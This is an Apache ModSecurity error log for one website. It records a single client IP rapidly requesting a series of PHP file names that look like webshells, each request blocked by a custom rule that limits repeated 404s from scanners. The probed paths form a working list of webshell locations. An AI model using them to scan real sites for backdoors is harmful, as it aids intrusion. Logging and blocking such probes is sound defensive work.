[Sat Apr 11 04:25:56.721423 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:22506] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adlc1K8109xRDP2izWiQbQAAAIs"]
[Sat Apr 11 04:25:57.195621 2026] [:error] [pid 33173:tid 33246] [client 51.107.88.105:22082] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adlc1a8109xRDP2izWiQcAAAAIE"]
[Sat Apr 11 04:25:57.667515 2026] [:error] [pid 33171:tid 33194] [client 51.107.88.105:22123] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adlc1boqTMlo30hcVw8q4AAAAAg"]
[Sat Apr 11 04:26:04.371701 2026] [:error] [pid 33171:tid 33192] [client 51.107.88.105:22141] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adlc3LoqTMlo30hcVw8q8QAAAAY"]
[Sat Apr 11 04:26:04.835480 2026] [:error] [pid 33173:tid 33258] [client 51.107.88.105:11249] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adlc3K8109xRDP2izWiQpgAAAI0"]
[Sat Apr 11 04:26:05.307468 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:11229] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adlc3WJmwJFFPEgRHfHZrQAAAMc"]
[Sat Apr 11 04:26:05.777008 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:22142] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adlc3WJmwJFFPEgRHfHZswAAAMY"]
[Sat Apr 11 04:26:06.243681 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:22127] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "adlc3mJmwJFFPEgRHfHZtwAAANE"]
[Sat Apr 11 04:26:06.785745 2026] [:error] [pid 33288:tid 33314] [client 51.107.88.105:33622] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "adlc3mJmwJFFPEgRHfHZvgAAANg"]
[Sat Apr 11 04:26:07.384124 2026] [:error] [pid 33288:tid 33297] [client 51.107.88.105:11191] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "adlc32JmwJFFPEgRHfHZxQAAAMc"]
[Sat Apr 11 04:26:08.064525 2026] [:error] [pid 33288:tid 33306] [client 51.107.88.105:11218] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "adlc4GJmwJFFPEgRHfHZywAAANA"]
[Sat Apr 11 04:26:09.232457 2026] [:error] [pid 33171:tid 33201] [client 51.107.88.105:11137] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adlc4boqTMlo30hcVw8q8wAAAA8"]
[Sat Apr 11 04:26:10.117001 2026] [:error] [pid 33171:tid 33194] [client 51.107.88.105:33657] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adlc4roqTMlo30hcVw8q9gAAAAg"]
[Sat Apr 11 04:26:10.641594 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:22137] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adlc4mJmwJFFPEgRHfHZ0gAAANU"]
[Sat Apr 11 04:26:11.109393 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:22485] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adlc42JmwJFFPEgRHfHZ1QAAANE"]
[Sat Apr 11 04:26:11.576875 2026] [:error] [pid 33288:tid 33313] [client 51.107.88.105:33611] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adlc42JmwJFFPEgRHfHZ2gAAANc"]
[Sat Apr 11 04:26:12.046355 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:11200] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adlc5K8109xRDP2izWiQvwAAAIg"]
[Sat Apr 11 04:26:12.518902 2026] [:error] [pid 33173:tid 33248] [client 51.107.88.105:22136] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adlc5K8109xRDP2izWiQwgAAAIM"]
[Sat Apr 11 04:26:12.986748 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:22128] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adlc5Dn2G0IJw5EZY9kChgAAAEw"]
[Sat Apr 11 04:26:13.516264 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:11245] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlc5Tn2G0IJw5EZY9kCigAAAEA"]
[Sat Apr 11 04:26:13.987971 2026] [:error] [pid 33172:tid 33232] [client 51.107.88.105:11247] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlc5Tn2G0IJw5EZY9kCjQAAAE4"]
[Sat Apr 11 04:26:14.455524 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:11154] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlc5mJmwJFFPEgRHfHZ5QAAAMQ"]
[Sat Apr 11 04:26:14.959977 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:11261] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "adlc5roqTMlo30hcVw8rAQAAAAM"]
[Sat Apr 11 04:26:15.432140 2026] [:error] [pid 33288:tid 33295] [client 51.107.88.105:11219] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adlc52JmwJFFPEgRHfHZ7AAAAMU"]
[Sat Apr 11 04:26:15.905090 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:11246] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adlc568109xRDP2izWiQyQAAAIc"]
[Sat Apr 11 04:26:16.419205 2026] [:error] [pid 33172:tid 33237] [client 51.107.88.105:33106] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adlc6Dn2G0IJw5EZY9kCkgAAAFM"]
[Sat Apr 11 04:26:16.904660 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:11243] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adlc6Dn2G0IJw5EZY9kClQAAAFA"]
[Sat Apr 11 04:26:17.416887 2026] [:error] [pid 33288:tid 33309] [client 51.107.88.105:11201] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "adlc6WJmwJFFPEgRHfHZ9wAAANM"]
[Sat Apr 11 04:26:17.973163 2026] [:error] [pid 33173:tid 33247] [client 51.107.88.105:22101] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "adlc6a8109xRDP2izWiQ0AAAAII"]
[Sat Apr 11 04:26:18.450057 2026] [:error] [pid 33288:tid 33294] [client 51.107.88.105:11210] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "adlc6mJmwJFFPEgRHfHZ_gAAAMQ"]
[Sat Apr 11 04:26:18.933520 2026] [:error] [pid 33171:tid 33206] [client 51.107.88.105:11202] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "adlc6roqTMlo30hcVw8rBQAAABQ"]
[Sat Apr 11 04:26:19.435421 2026] [:error] [pid 33172:tid 33219] [client 51.107.88.105:11166] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc6zn2G0IJw5EZY9kClgAAAEE"]
[Sat Apr 11 04:26:19.903544 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:11221] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc668109xRDP2izWiQ2gAAAJI"]
[Sat Apr 11 04:26:20.388788 2026] [:error] [pid 33173:tid 33269] [client 51.107.88.105:11225] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc7K8109xRDP2izWiQ3gAAAJg"]
[Sat Apr 11 04:26:20.892720 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:33148] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlc7LoqTMlo30hcVw8rCwAAAAM"]
[Sat Apr 11 04:26:21.362219 2026] [:error] [pid 33171:tid 33204] [client 51.107.88.105:33128] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "adlc7boqTMlo30hcVw8rEQAAABI"]
[Sat Apr 11 04:26:21.832265 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:11237] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "adlc7a8109xRDP2izWiQ5gAAAIY"]
[Sat Apr 11 04:26:22.304245 2026] [:error] [pid 33172:tid 33238] [client 51.107.88.105:11160] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "adlc7jn2G0IJw5EZY9kCnAAAAFQ"]
[Sat Apr 11 04:26:22.770748 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:11242] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "adlc7q8109xRDP2izWiQ6wAAAIo"]
[Sat Apr 11 04:26:23.242178 2026] [:error] [pid 33173:tid 33257] [client 51.107.88.105:33616] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlc768109xRDP2izWiQ7QAAAIw"]
[Sat Apr 11 04:26:23.730410 2026] [:error] [pid 33173:tid 33254] [client 51.107.88.105:22510] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlc768109xRDP2izWiQ8QAAAIk"]
[Sat Apr 11 04:26:24.213076 2026] [:error] [pid 33173:tid 33269] [client 51.107.88.105:22133] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlc8K8109xRDP2izWiQ8wAAAJg"]
[Sat Apr 11 04:26:24.698059 2026] [:error] [pid 33173:tid 33268] [client 51.107.88.105:33606] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlc8K8109xRDP2izWiQ-QAAAJc"]
[Sat Apr 11 04:26:25.171856 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:33103] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "adlc8a8109xRDP2izWiQ-wAAAIc"]
[Sat Apr 11 04:26:25.728594 2026] [:error] [pid 33288:tid 33292] [client 51.107.88.105:11155] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "adlc8WJmwJFFPEgRHfHaEgAAAMI"]
[Sat Apr 11 04:26:26.194607 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:22130] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "adlc8q8109xRDP2izWiRAQAAAIo"]
[Sat Apr 11 04:26:26.685994 2026] [:error] [pid 33171:tid 33190] [client 51.107.88.105:22133] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "adlc8roqTMlo30hcVw8rGAAAAAQ"]
[Sat Apr 11 04:26:27.160823 2026] [:error] [pid 33288:tid 33299] [client 51.107.88.105:11213] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlc82JmwJFFPEgRHfHaGQAAAMk"]
[Sat Apr 11 04:26:27.641603 2026] [:error] [pid 33288:tid 33292] [client 51.107.88.105:11253] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlc82JmwJFFPEgRHfHaHgAAAMI"]
[Sat Apr 11 04:26:28.165124 2026] [:error] [pid 33173:tid 33266] [client 51.107.88.105:11136] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlc9K8109xRDP2izWiRBwAAAJU"]
[Sat Apr 11 04:26:28.651059 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:22115] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlc9GJmwJFFPEgRHfHaJgAAAMM"]
[Sat Apr 11 04:26:29.114484 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:11163] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adlc9WJmwJFFPEgRHfHaLAAAAMY"]
[Sat Apr 11 04:26:29.586594 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:11199] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adlc9WJmwJFFPEgRHfHaMgAAAMM"]
[Sat Apr 11 04:26:30.057064 2026] [:error] [pid 33171:tid 33209] [client 51.107.88.105:11194] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adlc9roqTMlo30hcVw8rGgAAABc"]
[Sat Apr 11 04:26:30.539129 2026] [:error] [pid 33171:tid 33196] [client 51.107.88.105:22127] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adlc9roqTMlo30hcVw8rHQAAAAo"]
